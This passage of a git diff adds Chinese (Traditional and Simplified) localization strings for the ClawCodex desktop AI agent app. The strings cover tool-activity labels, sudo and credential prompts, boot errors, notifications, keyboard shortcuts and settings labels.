+      failedOne: '1 個步驟失敗',
+      failedMany: count => `${count} 個步驟失敗`,
+      statusRunning: '執行中',
+      statusError: '錯誤',
+      statusRecovered: '已復原',
+      statusDone: '完成',
+      memoryWriteNoted: '已記下記憶寫入',
+      actions: {
+        read: '已讀取',
+        reading: '正在讀取',
+        opened: '已開啟',
+        opening: '正在開啟',
+        failedToOpen: '開啟失敗',
+        searched: '已搜尋',
+        searching: '正在搜尋',
+        ran: '已執行',
+        running: '正在執行',
+        ranCode: '已執行程式碼',
+        runningCode: '正在撰寫腳本'
+      },
+      prefixes: {
+        browser: '瀏覽器',
+        web: '網頁'
+      },
+      titleTemplates: {
+        actionCommand: (action, command) => `${action} ${command}`,
+        actionQuoted: (action, value) => `${action}「${value}」`,
+        actionTarget: (action, target) => `${action} ${target}`,
+        prefixedDone: (prefix, action) => `${prefix}${action}`,
+        runningPrefixedTool: (prefix, action) => `正在執行${prefix}${action}`,
+        runningTool: action => `正在執行 ${action}`
+      },
+      titles: {
+        browser_click: { done: '已點擊頁面元素', pending: '正在點擊頁面元素', pendingAction: '正在點擊' },
+        browser_fill: { done: '已填寫表單欄位', pending: '正在填寫表單欄位', pendingAction: '正在填寫' },
+        browser_navigate: { done: '已開啟頁面', pending: '正在開啟頁面', pendingAction: '正在開啟' },
+        browser_snapshot: { done: '已擷取頁面快照', pending: '正在擷取頁面快照', pendingAction: '正在擷取' },
+        browser_take_screenshot: { done: '已擷取截圖', pending: '正在擷取截圖', pendingAction: '正在擷取' },
+        browser_type: { done: '已在頁面輸入', pending: '正在頁面輸入', pendingAction: '正在輸入' },
+        clarify: { done: '已提問', pending: '正在提問', pendingAction: '正在提問' },
+        cronjob: { done: 'Cron 工作', pending: '正在安排 Cron 工作', pendingAction: '正在安排' },
+        edit_file: { done: '已編輯檔案', pending: '正在編輯檔案', pendingAction: '正在編輯' },
+        execute_code: { done: '已執行程式碼', pending: '正在撰寫腳本', pendingAction: '正在撰寫腳本' },
+        image_generate: { done: '已生成圖片', pending: '正在生成圖片', pendingAction: '正在生成' },
+        list_files: { done: '已列出檔案', pending: '正在列出檔案', pendingAction: '正在列出' },
+        memory: { done: '已儲存至記憶', pending: '正在儲存至記憶', pendingAction: '正在儲存' },
+        patch: { done: '已修補檔案', pending: '正在修補檔案', pendingAction: '正在修補' },
+        read_file: { done: '已讀取檔案', pending: '正在讀取檔案', pendingAction: '正在讀取' },
+        search_files: { done: '已搜尋檔案', pending: '正在搜尋檔案', pendingAction: '正在搜尋' },
+        session_search_recall: {
+          done: '已搜尋工作階段歷史',
+          pending: '正在搜尋工作階段歷史',
+          pendingAction: '正在搜尋'
+        },
+        terminal: { done: '已執行指令', pending: '正在執行指令', pendingAction: '正在執行' },
+        todo: { done: '已更新待辦', pending: '正在更新待辦', pendingAction: '正在更新' },
+        vision_analyze: { done: '已分析圖片', pending: '正在分析圖片', pendingAction: '正在分析' },
+        web_extract: { done: '已讀取網頁', pending: '正在讀取網頁', pendingAction: '正在讀取' },
+        web_search: { done: '已搜尋網頁', pending: '正在搜尋網頁', pendingAction: '正在搜尋' },
+        write_file: { done: '已編輯檔案', pending: '正在編輯檔案', pendingAction: '正在編輯' }
+      }
+    }
+  },
+
+  prompts: {
+    gatewayDisconnected: 'ClawCodex 閘道未連線',
+    sudoSendFailed: '無法傳送 sudo 密碼',
+    secretSendFailed: '無法傳送密鑰',
+    sudoTitle: '管理員密碼',
+    sudoDesc: 'ClawCodex 需要您的 sudo 密碼來執行特權指令。它只會傳送給您的本機代理。',
+    sudoPlaceholder: 'sudo 密碼',
+    secretTitle: '需要密鑰',
+    secretDesc: 'ClawCodex 需要一個憑證才能繼續。',
+    secretPlaceholder: '密鑰值'
+  },
+
+  desktop: {
+    audioReadFailed: '無法讀取錄製的音訊',
+    sessionUnavailable: '工作階段不可用',
+    createSessionFailed: '無法建立新工作階段',
+    promptFailed: '提示詞傳送失敗',
+    providerCredentialRequired: '傳送第一則訊息前請先新增提供方憑證。',
+    emptySlashCommand: '空的斜線指令',
+    desktopCommands: '桌面端指令',
+    skillCommandsAvailable: count => `${count} 個技能指令可用。`,
+    warningLine: message => `警告：${message}`,
+    yoloArmed: '此聊天已啟用 YOLO',
+    yoloOff: 'YOLO 已關閉',
+    yoloSystem: active => `此工作階段 YOLO ${active ? '已開啟' : '已關閉'}`,
+    yoloTitle: 'YOLO',
+    yoloToggleFailed: '無法切換 YOLO',
+    profileStatus: current => `設定檔：${current}。使用 /profile <name> 或「新工作階段」選擇器在其他設定檔中開始聊天。`,
+    unknownProfile: '未知設定檔',
+    noProfileNamed: (target, available) => `沒有名為「${target}」的設定檔。可用的：${available}`,
+    newChatsProfile: name => `新聊天將使用設定檔 ${name}。`,
+    setProfileFailed: '設定設定檔失敗',
+    sttDisabled: '設定中已停用語音轉文字。',
+    stopFailed: '停止失敗',
+    regenerateFailed: '重新生成失敗',
+    editFailed: '編輯失敗',
+    resumeFailed: '繼續失敗',
+    resumeStrandedTitle: '無法載入此工作階段',
+    resumeStrandedBody: '與此工作階段的連線失敗，自動重試已停止。請確認閘道正在執行，然後重試。',
+    resumeRetry: '重試',
+    nothingToBranch: '沒有可分支的內容',
+    branchNeedsChat: '分支前請先開始或繼續一個聊天。',
+    sessionBusy: '工作階段忙碌中',
+    branchStopCurrent: '分支此聊天前請先停止目前回合。',
+    branchNoText: '此訊息沒有可用於分支的文字。',
+    branchTitle: n => `草稿：分支 #${n}`,
+    branchFailed: '分支失敗',
+    deleteFailed: '刪除失敗',
+    archived: '已封存',
+    archiveFailed: '封存失敗',
+    cwdChangeFailed: '工作目錄變更失敗',
+    cwdStagedTitle: '工作目錄已暫存',
+    cwdStagedMessage: '重新啟動桌面後端後，工作目錄變更才會套用至此作用中工作階段。',
+    modelSwitchFailed: '模型切換失敗',
+    sessionExported: '工作階段已匯出',
+    sessionExportFailed: '無法匯出工作階段',
+    imageSaved: '圖片已儲存',
+    downloadStarted: '下載已開始',
+    restartToUseSaveImage: '重新啟動 ClawCodex Desktop 後可使用儲存圖片。',
+    restartToSaveImages: '重新啟動 ClawCodex Desktop 以儲存圖片',
+    imageDownloadFailed: '圖片下載失敗',
+    openImage: '開啟圖片',
+    downloadImage: '下載圖片',
+    savingImage: '正在儲存圖片',
+    imagePreviewFailed: '圖片預覽失敗',
+    imageAttach: '附加圖片',
+    imageWriteFailed: '無法將圖片寫入磁碟。',
+    imageAttachFailed: '附加圖片失敗',
+    attachImages: '附加圖片',
+    clipboard: '剪貼簿',
+    noClipboardImage: '剪貼簿中沒有圖片',
+    clipboardPasteFailed: '剪貼簿貼上失敗',
+    dropFiles: '拖曳檔案',
+    handoff: {
+      pickPlatform: '選擇目標平台',
+      success: platform => `已移交到 ${platform}。隨時可在此處恢復。`,
+      systemNote: platform => `↻ 已移交到 ${platform} — 隨時可在此處恢復。`,
+      failed: error => `移交失敗：${error}`,
+      timedOut: '等待閘道逾時。`clawcodex gateway` 是否正在執行？'
+    }
+  },
+
+  errors: {
+    genericFailure: '發生錯誤',
+    boundaryTitle: '介面出現問題',
+    boundaryDesc: '此檢視遇到意外錯誤。您的聊天和設定是安全的。',
+    reloadWindow: '重新載入視窗',
+    openLogs: '開啟記錄'
+  },
+
+  ui: {
+    search: {
+      clear: '清除搜尋'
+    },
+    pagination: {
+      label: '分頁',
+      previous: '上一頁',
+      previousAria: '前往上一頁',
+      next: '下一頁',
+      nextAria: '前往下一頁'
+    },
+    sidebar: {
+      title: '側邊欄',
+      description: '顯示行動裝置側邊欄。',
+      toggle: open => `${open ? '顯示' : '隱藏'}側邊欄`
+    }
+  }
+})
diff --git a/ui-desktop/src/i18n/zh.ts b/ui-desktop/src/i18n/zh.ts
new file mode 100644
index 000000000..15610cb79
--- /dev/null
+++ b/ui-desktop/src/i18n/zh.ts
@@ -0,0 +1,3145 @@
+import { defineFieldCopy } from '@/app/settings/field-copy'
+
+import type { Translations } from './types'
+
+export const zh: Translations = {
+  common: {
+    apply: '应用',
+    back: '返回',
+    save: '保存',
+    saving: '保存中…',
+    cancel: '取消',
+    change: '更改',
+    choose: '选择',
+    clear: '清除',
+    close: '关闭',
+    collapse: '收起',
+    confirm: '确认',
+    connect: '连接',
+    connecting: '连接中',
+    continue: '继续',
+    copied: '已复制',
+    copy: '复制',
+    copyFailed: '复制失败',
+    delete: '删除',
+    docs: '文档',
+    done: '完成',
+    error: '错误',
+    expand: '展开',
+    failed: '失败',
+    formatJson: '格式化 JSON',
+    free: '免费',
+    loading: '加载中…',
+    notSet: '未设置',
+    refresh: '刷新',
+    remove: '移除',
+    replace: '替换',
+    retry: '重试',
+    run: '运行',
+    send: '发送',
+    set: '设置',
+    skip: '跳过',
+    update: '更新',
+    tryHint: term => `试试“${term}”`,
+    on: '开',
+    off: '关'
+  },
+
+  fileMenu: {
+    revealFinder: '在访达中显示',
+    revealExplorer: '在文件资源管理器中显示',
+    revealFileManager: '打开所在文件夹',
+    revealInSidebar: '在文件树中显示',
+    copyPath: '复制路径',
+    copyRelativePath: '复制相对路径',
+    rename: '重命名…',
+    delete: '删除',
+    renameTitle: '重命名',
+    renameLabel: '新名称',
+    deleteTitle: name => `删除 ${name}？`,
+    deleteBody: '将移至废纸篓，你可以从那里恢复。',
+    pathCopied: '已复制路径'
+  },
+
+  boot: {
+    ready: 'ClawCodex 桌面版已就绪',
+    desktopBootFailedWithMessage: message => `桌面启动失败：${message}`,
+    steps: {
+      connectingGateway: '正在连接桌面网关',
+      loadingSettings: '正在加载 ClawCodex 设置',
+      loadingSessions: '正在加载最近会话',
+      startingDesktopConnection: '正在启动桌面连接',
+      startingClawCodexDesktop: '正在启动 ClawCodex 桌面版…'
+    },
+    errors: {
+      backgroundExited: 'ClawCodex 后台进程已退出。',
+      backgroundExitedDuringStartup: 'ClawCodex 后台进程在启动期间退出。',
+      backendStopped: '后端已停止',
+      desktopBootFailed: '桌面启动失败',
+      gatewayConnectionLost: '与网关的连接已断开',
+      gatewaySignInRequired: '需要登录网关',
+      ipcBridgeUnavailable: '桌面 IPC 桥不可用。'
+    },
+    failure: {
+      title: 'ClawCodex 无法启动',
+      description: '后台网关没有启动。请尝试下面的恢复步骤；这里不会删除你的对话或设置。',
+      remoteTitle: '需要重新登录远程网关',
+      remoteDescription: '你的远程网关会话已过期。请重新登录以恢复连接。这些操作不会删除你的对话或设置。',
+      retry: '重试',
+      repairInstall: '修复安装',
+      useLocalGateway: '使用本地网关',
+      gatewaySettings: '网关设置',
+      back: '返回',
+      openLogs: '打开日志',
+      repairHint: '修复会重新运行安装器，在新机器上可能需要几分钟。',
+      remoteSignInHint: signInLabel =>
+        `先退出已保存的远程浏览器会话，然后打开${signInLabel}。也可以使用本地网关切换到随应用提供的后端。`,
+      signOutAndSignIn: '退出并重新登录',
+      remoteFailureHint: '在“网关设置”中检查网关 URL 和登录，或切换到本地网关。',
+      hideRecentLogs: '隐藏最近日志',
+      showRecentLogs: '显示最近日志',
+      signedInTitle: '已登录',
+      signedInMessage: '正在重新连接远程网关…',
+      signInIncompleteTitle: '登录未完成',
+      signInIncompleteMessage: '登录窗口在认证完成前关闭。',
+      signInFailed: '登录失败',
+      signInToRemoteGateway: '登录远程网关',
+      signInWithProvider: provider => `使用 ${provider} 登录`,
+      identityProvider: '你的身份提供方'
+    }
+  },
+
+  notifications: {
+    region: '通知',
+    hide: '隐藏',
+    show: '显示',
+    more: count => `另外 ${count} 条通知`,
+    clearAll: '全部清除',
+    dismiss: '关闭通知',
+    details: '详情',
+    copyDetail: '复制详情',
+    copyDetailFailed: '无法复制通知详情',
+    backendOutOfDateTitle: '后端版本过旧',
+    backendOutOfDateMessage: '你的 ClawCodex 后端早于当前桌面构建，可能无法正常工作。请更新以保持一致。',
+    installMethodUnsupportedTitle: '不受支持的安装方式',
+    updateClawCodex: '更新 ClawCodex',
+    updateReadyTitle: '有可用更新',
+    updateReadyMessage: count => `有 ${count} 项新更改可用。`,
+    seeWhatsNew: '查看更新内容',
+    errors: {
+      elevenLabsNeedsKey: 'ElevenLabs STT 需要 ELEVENLABS_API_KEY。',
+      elevenLabsRejectedKey: 'ElevenLabs 拒绝了该 API key (401)。',
+      diskFull: '磁盘已满 — 请腾出一些空间后再试。',
+      gatewayAuthFailed: '网关认证失败 — 请检查你的 API_SERVER_KEY。',
+      methodNotAllowed: '桌面后端拒绝了该请求 (405 Method Not Allowed)。请尝试重启 ClawCodex Desktop。',
+      microphonePermission: '麦克风权限已被拒绝。',
+      openaiRejectedApiKey: 'OpenAI 拒绝了该 API key。',
+      openaiRejectedApiKeyWithStatus: status => `OpenAI 拒绝了该 API key (${status} invalid_api_key)。`,
+      openaiTtsNeedsKey: 'OpenAI TTS 需要 VOICE_TOOLS_OPENAI_KEY 或 OPENAI_API_KEY。'
+    },
+    voice: {
+      configureSpeechToText: '配置语音转文字后即可使用语音模式。',
+      couldNotStartSession: '无法启动语音会话',
+      microphoneAccessDenied: '麦克风访问被拒绝。',
+      microphoneConstraintsUnsupported: '此设备不支持当前麦克风约束。',
+      microphoneFailed: '麦克风出错',
+      microphoneInUse: '麦克风正被其他应用占用。',
+      microphonePermissionDenied: '麦克风权限被拒绝。',
+      microphoneStartFailed: '无法开始麦克风录音。',
+      microphoneUnsupported: '当前运行环境不支持麦克风录音。',
+      noMicrophone: '未找到麦克风。',
+      noSpeechDetected: '没有检测到语音',
+      playbackFailed: '语音播放失败',
+      recordingFailed: '语音录制失败',
+      sayStopToEnd: phrase => `说“${phrase}”即可结束语音对话。`,
+      transcriptionFailed: '语音转写失败',
+      transcriptionUnavailable: '语音转写暂不可用。',
+      tryRecordingAgain: '请再录一次。',
+      unavailable: '语音不可用'
+    },
+    native: {
+      approvalTitle: '需要批准',
+      approveAction: '批准',
+      rejectAction: '拒绝',
+      inputTitle: '需要输入',
+      inputBody: 'ClawCodex 正在等待你的回应。',
+      turnDoneTitle: 'ClawCodex 已完成',
+      turnDoneBody: '',
+      turnErrorTitle: '本轮失败',
+      backgroundDoneTitle: '后台任务已完成',
+      backgroundFailedTitle: '后台任务失败',
+      creditsTitle: '额度'
+    }
+  },
+
+  remoteDisplayBanner: {
+    message: reason => `软件渲染已启用 — 检测到远程显示（${reason}）。为防止画面闪烁，已禁用 GPU 加速。`
+  },
+
+  billingBlock: {
+    titleNous: 'Nous 额度已用尽',
+    titleProvider: provider => `额度已用尽 — ${provider}`,
+    fallbackMessage: '您的账户额度已用尽。请充值以继续使用。',
+    openBilling: '打开账单',
+    addCredits: '添加额度',
+    dismiss: '忽略'
+  },
+
+  titlebar: {
+    hideSidebar: '隐藏侧边栏',
+    showSidebar: '显示侧边栏',
+    search: '搜索',
+    searchTitle: '搜索会话、视图与操作',
+    swapSidebarSides: '交换侧边栏位置',
+    hideRightSidebar: '隐藏右侧栏',
+    showRightSidebar: '显示右侧栏',
+    muteHaptics: '关闭触感反馈',
+    unmuteHaptics: '开启触感反馈',
+    openSettings: '打开设置',
+    openStarmap: '打开记忆图谱',
+    openKeybinds: '键盘快捷键',
+    layoutEditor: '布局编辑器',
+    layoutEditorTitle: '布局编辑器 — ⌘ 点击重置布局'
+  },
+
+  keybinds: {
+    title: '键盘快捷键',
+    subtitle: open => `点击快捷键即可重新绑定 · ${open} 可重新打开此面板。`,
+    search: '搜索快捷键…',
+    rebind: '重新绑定',
+    reset: '恢复默认',
+    resetAll: '全部重置',
+    pressKey: '请按下按键…',
+    set: '设置',
+    conflictWith: label => `已绑定到“${label}”`,
+    categories: {
+      composer: '输入框',
+      profiles: '配置',
+      session: '会话',
+      navigation: '导航',
+      view: '视图'
+    },
+    actions: {
+      'keybinds.openPanel': '打开键盘快捷键',
+      'nav.commandPalette': '打开命令面板',
+      'nav.commandCenter': '打开命令中心',
+      'nav.settings': '打开设置',
+      'nav.profiles': '打开配置',
+      'nav.skills': '打开技能',
+      'nav.messaging': '打开消息',
+      'nav.artifacts': '打开制品',
+      'nav.cron': '打开定时任务',
+      'nav.agents': '打开智能体',
+      'session.new': '新建会话',
+      'session.newTab': '新建会话标签',
+      'session.newWindow': '新建窗口',
+      'session.next': '下一个会话',
+      'session.prev': '上一个会话',
+      'session.slot.1': '切换到最近会话 1',
+      'session.slot.2': '切换到最近会话 2',
+      'session.slot.3': '切换到最近会话 3',
+      'session.slot.4': '切换到最近会话 4',
+      'session.slot.5': '切换到最近会话 5',
+      'session.slot.6': '切换到最近会话 6',
+      'session.slot.7': '切换到最近会话 7',
+      'session.slot.8': '切换到最近会话 8',
+      'session.slot.9': '切换到最近会话 9',
+      'session.focusSearch': '搜索会话',
+      'session.togglePin': '固定/取消固定当前会话',
+      'workspace.newWorktree': '新建工作树',
+      'workspace.openFolder': '打开文件夹为项目',
+      'composer.focus': '聚焦输入框',
+      'composer.modelPicker': '打开模型选择器',
+      'composer.voice': '开始 / 停止语音对话',
+      'view.toggleSidebar': '切换会话侧边栏',
+      'view.toggleRightSidebar': '切换文件浏览器',
+      'view.toggleReview': '切换审查面板',
+      'view.toggleStatusbar': '切换状态栏',
+      'view.showFiles': '显示文件浏览器',
+      'view.showTerminal': '显示终端',
+      'view.terminalSelection': '将终端选区发送到输入框',
+      'view.terminalCopy': '复制终端选区',
+      'view.terminalPaste': '粘贴到终端',
+      'view.closeTab': '关闭标签',
+      'view.reopenTab': '重新打开已关闭的标签',
+      'view.flipPanes': '交换侧边栏位置',
+      'view.findInPage': '页面内查找',
+      'view.findNext': '查找下一个',
+      'view.findPrevious': '查找上一个',
+      'appearance.toggleMode': '切换浅色/深色',
+      'profile.default': '切换到默认配置',
+      'profile.switch.1': '切换到配置 1',
+      'profile.switch.2': '切换到配置 2',
+      'profile.switch.3': '切换到配置 3',
+      'profile.switch.4': '切换到配置 4',
+      'profile.switch.5': '切换到配置 5',
+      'profile.switch.6': '切换到配置 6',
+      'profile.switch.7': '切换到配置 7',
+      'profile.switch.8': '切换到配置 8',
+      'profile.switch.9': '切换到配置 9',
+      'profile.switch.10': '切换到配置 10',
+      'profile.switch.11': '切换到配置 11',
+      'profile.switch.12': '切换到配置 12',
+      'profile.switch.13': '切换到配置 13',
+      'profile.switch.14': '切换到配置 14',
+      'profile.switch.15': '切换到配置 15',
+      'profile.switch.16': '切换到配置 16',
+      'profile.switch.17': '切换到配置 17',
+      'profile.switch.18': '切换到配置 18',
+      'profile.next': '下一个配置',
+      'profile.prev': '上一个配置',
+      'profile.toggleAll': '切换全部配置视图',
+      'profile.create': '创建配置',
+      'composer.send': '发送消息',
+      'composer.newline': '插入换行',
+      'composer.steer': '引导正在运行的回合',
+      'composer.queue': '消息排队',
+      'composer.sendQueued': '发送下一条排队消息',
+      'composer.mention': '引用文件、文件夹、网址',
+      'composer.slash': '斜杠命令面板',
+      'composer.help': '快速帮助',
+      'composer.history': '切换弹窗/历史',
+      'composer.cancel': '关闭弹窗·取消运行'
+    }
+  },
+
+  findInPage: {
+    next: '下一个匹配',
+    previous: '上一个匹配'
+  },
+
+  language: {
+    label: '语言',
+    description: '选择桌面界面的语言。',
+    saving: '正在保存语言…',
+    saveError: '语言更新失败',
+    switchTo: '切换语言',
+    searchPlaceholder: '搜索语言…',
+    noResults: '未找到语言'
+  },
+
+  settings: {
+    closeSettings: '关闭设置',
+    exportConfig: '导出配置',
+    importConfig: '导入配置',
+    resetToDefaults: '恢复默认',
+    resetConfirm: '将所有设置恢复为 ClawCodex 默认值？',
+    exportFailed: '导出失败',
+    resetFailed: '重置失败',
+    nav: {
+      providers: '提供方',
+      providerAccounts: '账号',
+      providerApiKeys: 'API 密钥',
+      providerCustomEndpoints: '自定义端点',
+      gateway: '网关',
+      apiKeys: '工具与密钥',
+      keybinds: '键盘快捷键',
+      keysTools: '工具',
+      keysSettings: '设置',
+      mcp: 'MCP',
+      archivedChats: '已归档对话',
+      about: '关于',
+      billing: '账单',
+      notifications: '通知',
+      plugins: '插件'
+    },
+    plugins: {
+      title: '桌面插件',
+      blurb:
+        '加载到此应用中的界面扩展——随构建捆绑，或放入 desktop-plugins 文件夹（包括 ClawCodex 编写的插件）。禁用会即时卸载插件并在重启后保持。',
+      count: n => `已安装 ${n} 个`,
+      openFolder: '打开插件文件夹',
+      rescan: '重新扫描',
+      reveal: '在文件管理器中显示',
+      enable: '启用',
+      disable: '禁用',
+      failed: '失败',
+      empty: '尚未安装桌面插件。',
+      kinds: { bundled: '内置', disk: '磁盘', runtime: '运行时' }
+    },
+    notifications: {
+      title: '通知',
+      intro: '原生桌面通知，区别于应用内提示。设置按设备保存，每台电脑各自独立。',
+      enableAll: '启用通知',
+      enableAllDesc: '关闭后静音下方所有通知。',
+      focusedHint: '完成提醒仅在 ClawCodex 处于后台时触发。',
+      kinds: {
+        approval: {
+          label: '需要批准',
+          description: '有命令正在等待你批准或拒绝。'
+        },
+        input: {
+          label: '需要输入',
+          description: 'ClawCodex 提出了问题，或需要密码或密钥。'
+        },
+        turnDone: {
+          label: '回复就绪',
+          description: 'ClawCodex 在后台时完成了一轮对话。'
+        },
+        turnError: {
+          label: '本轮失败',
+          description: '后台回合错误。'
+        },
+        backgroundDone: {
+          label: '后台任务完成',
+          description: '后台终端命令已完成。'
+        },
+        credits: {
+          label: '额度提醒',
+          description: '额度访问被暂停或恢复。'
+        },
+        plugin: {
+          label: '插件通知',
+          description: 'ClawCodex 在后台时，桌面插件发送了通知。'
+        }
+      },
+      test: '发送测试通知',
+      testTitle: 'ClawCodex',
+      testBody: '通知工作正常。',
+      testSent: '测试已发送。如果没有出现，请检查系统通知权限和专注模式／勿扰模式。',
+      testUnsupported: '此系统不支持原生通知。',
+      completionSoundTitle: '完成提示音',
+      completionSoundDesc: '智能体回合结束时播放。可在此选择预设并预览。',
+      completionSoundPreview: '预览'
+    },
+    sections: {
+      model: '模型',
+      chat: '对话',
+      appearance: '外观',
+      workspace: '工作区',
+      safety: '安全',
+      memory: '记忆与上下文',
+      voice: '语音',
+      advanced: '高级'
+    },
+    searchPlaceholder: {
+      about: '关于 ClawCodex Desktop',
+      config: '搜索设置…',
+      gateway: '网关连接…',
+      keys: '搜索 API 密钥…',
+      mcp: '搜索 MCP 服务器…',
+      sessions: '搜索已归档会话…'
+    },
+    modeOptions: {
+      light: { label: '明亮', description: '明亮的桌面界面' },
+      dark: { label: '暗色', description: '低眩光工作区' },
+      system: { label: '跟随系统', description: '跟随系统外观' }
+    },
+    appearance: {
+      title: '外观',
+      intro: '这些是仅桌面端的显示偏好。模式控制明暗；主题控制强调色与对话界面样式。',
+      colorMode: '颜色模式',
+      colorModeDesc: '选择固定模式，或让 ClawCodex 跟随系统设置。',
+      toolViewTitle: '工具调用显示',
+      toolViewDesc: '产品模式隐藏原始工具数据；技术模式显示完整输入/输出。',
+      uiScaleTitle: '界面缩放',
+      uiScaleDesc: (percent: number) =>
+        `缩放整个应用的文字和界面。也可使用 Cmd/Ctrl 加 +、- 或 0 调整。当前：${percent}%`,
+      terminalFontTitle: '终端字体',
+      terminalFontDesc:
+        '选择已安装的字体用于桌面端终端。Nerd Font 可正确显示 Powerlevel10k 和 Shell 图标；留空则使用内置的 JetBrains Mono。',
+      terminalFontPlaceholder: 'MesloLGS NF 或 CSS 字体栈',
+      terminalFontPreview: '字形预览',
+      terminalFontReset: '使用默认字体',
+      translucencyTitle: '窗口透明',
+      translucencyDesc: '让整个窗口透出桌面。仅支持 macOS 和 Windows。',
+      backdropTitle: '聊天背景',
+      backdropDesc: '对话后方那张淡淡的雕像图片。',
+      reactionsTitle: '消息回应',
+      reactionsDesc: 'iMessage 风格的表情回应 — 你可以给消息添加回应，ClawCodex 也能回应你的消息。',
+      embedsTitle: '内嵌预览',
+      embedsDesc:
+        '富预览会从第三方网站（YouTube、X 等）加载。询问会在你允许前显示占位符；总是会自动加载；关闭则保留纯链接。',
+      embedsAsk: '询问',
+      embedsAlways: '总是',
+      embedsOff: '关闭',
+      embedsReset: (count: number) => `重置 ${count} 个已允许的服务`,
+      product: '产品',
+      productDesc: '易读的工具活动与简洁摘要。',
+      technical: '技术',
+      technicalDesc: '包含原始工具参数/结果及底层细节。',
+      themeTitle: '主题',
+      themeDesc: '仅桌面端调色板。所选模式叠加其上。',
+      themeProfileNote: profile => `已为「${profile}」配置文件保存——每个配置文件保留各自的主题。`,
+      installTitle: '从 VS Code 安装',
+      installDesc: '粘贴 Marketplace 扩展 ID（例如 dracula-theme.theme-dracula），将其配色主题转换为桌面调色板。',
+      installPlaceholder: 'publisher.extension',
+      installButton: '安装',
+      installing: '安装中…',
+      installError: '无法安装该主题。',
+      installed: name => `已安装「${name}」。`,
+      removeTheme: '移除主题',
+      importedBadge: '已导入',
+      pet: {
+        title: '宠物',
+        intro:
+          '领养一只悬浮在应用上的 petdex 动画宠物，它会根据 ClawCodex 的状态做出反应——工具执行时奔跑、成功时欢呼、出错时沮丧。',
+        restartHint: '宠物功能需要重启——当前运行的应用在此功能加入前启动。请退出并重新打开 ClawCodex，然后回到此处。',
+        scaleTitle: '大小',
+        scaleDesc: '调整悬浮宠物的大小，所有界面即时生效。',
+        roamTitle: '漫游',
+        roamDesc: '空闲时让宠物自己在窗口内四处走动。',
+        on: '开启',
+        off: '关闭',
+        chooseTitle: '选择宠物',
+        chooseDesc: '选择后会自动安装（如需）并设为当前宠物。',
+        searchPlaceholder: '搜索宠物…',
+        unreachable: '无法连接到 petdex 画廊。请检查网络连接并重新打开此页面。',
+        noMatch: query => `没有匹配「${query}」的宠物。`,
+        installedTag: '已安装',
+        generatedTag: '生成',
+        countCapped: (cap, total) => `显示 ${total} 个中的 ${cap} 个——输入关键词以缩小范围。`,
+        count: n => `${n} 个宠物。`,
+        uninstall: name => `卸载 ${name}`,
+        delete: name => `删除 ${name}`,
+        deleteTitle: name => `删除 ${name}？`,
+        deleteBody: '此操作会永久删除宠物，且无法重新安装。',
+        deleteConfirm: '删除',
+        rename: name => `重命名 ${name}`,
+        renameTitle: '重命名宠物',
+        renamePlaceholder: '给宠物起个名字',
+        renameSave: '保存',
+        exportPet: name => `导出 ${name}`,
+        adoptFailed: slug => `无法领养 ${slug}`,
+        uninstallFailed: slug => `无法卸载 ${slug}`,
+        renameFailed: slug => `无法重命名 ${slug}`,
+        exportFailed: slug => `无法导出 ${slug}`,
+        noneAvailable: '当前没有可开启的宠物。',
+        turnOnFailed: '无法开启宠物。',
+        turnOffFailed: '无法关闭宠物。'
+      }
+    },
+    fieldLabels: defineFieldCopy({
+      model: '默认模型',
+      modelContextLength: '上下文窗口',
+      fallbackProviders: '备用模型',
+      toolsets: '启用的工具集',
+      timezone: '时区',
+      display: {
+        personality: '人格',
+        showReasoning: '推理过程块'
+      },
+      desktop: {
+        repoScanEnabled: '自动发现代码仓库',
+        repoScanRoots: '代码仓库扫描根目录',
+        repoScanExcludePaths: '排除的代码仓库路径'
+      },
+      agent: {
+        maxTurns: '最大智能体步数',
+        imageInputMode: '图片附件',
+        apiMaxRetries: 'API 重试次数',
+        serviceTier: '服务等级',
+        toolUseEnforcement: '工具调用强制'
+      },
+      terminal: {
+        cwd: '工作目录',
+        backend: '执行后端',
+        timeout: '命令超时',
+        persistentShell: '持久化 Shell',
+        envPassthrough: '环境变量透传',
+        dockerImage: 'Docker 镜像',
+        singularityImage: 'Singularity 镜像',
+        modalImage: 'Modal 镜像',
+        daytonaImage: 'Daytona 镜像'
+      },
+      fileReadMaxChars: '文件读取上限',
+      toolOutput: {
+        maxBytes: '终端输出上限',
+        maxLines: '文件分页上限',
+        maxLineLength: '行长度上限'
+      },
+      codeExecution: {
+        mode: '代码执行模式'
+      },
+      approvals: {
+        mode: '审批模式',
+        timeout: '审批超时',
+        mcpReloadConfirm: '确认 MCP 重载'
+      },
+      commandAllowlist: '命令白名单',
+      security: {
+        redactSecrets: '隐去密钥',
+        allowPrivateUrls: '允许私有 URL'
+      },
+      browser: {
+        allowPrivateUrls: '浏览器私有 URL',
+        autoLocalForPrivateUrls: '私有 URL 使用本地浏览器'
+      },
+      checkpoints: {
+        enabled: '文件检查点',
+        maxSnapshots: '检查点上限'
+      },
+      voice: {
+        recordKey: '语音快捷键',
+        maxRecordingSeconds: '最长录音时长',
+        autoTts: '朗读回复'
+      },
+      stt: {
+        enabled: '语音转文字',
+        provider: '语音转文字提供方',
+        local: {
+          model: '本地转写模型',
+          language: '转写语言'
+        },
+        openai: {
+          model: 'OpenAI STT 模型'
+        },
+        groq: {
+          model: 'Groq STT 模型'
+        },
+        mistral: {
+          model: 'Mistral STT 模型'
+        },
+        elevenlabs: {
+          modelId: 'ElevenLabs STT 模型',
+          languageCode: 'ElevenLabs 语言',
+          tagAudioEvents: '标记音频事件',
+          diarize: '说话人区分'
+        }
+      },
+      tts: {
+        provider: '文字转语音提供方',
+        edge: {
+          voice: 'Edge 语音'
+        },
+        openai: {
+          model: 'OpenAI TTS 模型',
+          voice: 'OpenAI 语音'
+        },
+        elevenlabs: {
+          voiceId: 'ElevenLabs 语音',
+          modelId: 'ElevenLabs 模型'
+        },
+        xai: {
+          voiceId: 'xAI (Grok) 语音',
+          language: 'xAI 语言',
+          speed: '播放速度',
+          autoSpeechTags: '自动语音标签',
+          optimizeStreamingLatency: '流式延迟优化',
+          sampleRate: '采样率',
+          bitRate: '比特率'
+        },
+        minimax: {
+          model: 'MiniMax TTS 模型',
+          voiceId: 'MiniMax 语音'
+        },
+        mistral: {
+          model: 'Mistral TTS 模型',
+          voiceId: 'Mistral 语音'
+        },
+        gemini: {
+          model: 'Gemini TTS 模型',
+          voice: 'Gemini 语音'
+        },
+        neutts: {
+          model: 'NeuTTS 模型',
+          device: 'NeuTTS 设备'
+        },
+        kittentts: {
+          model: 'KittenTTS 模型',
+          voice: 'KittenTTS 语音'
+        },
+        piper: {
+          voice: 'Piper 语音'
+        }
+      },
+      memory: {
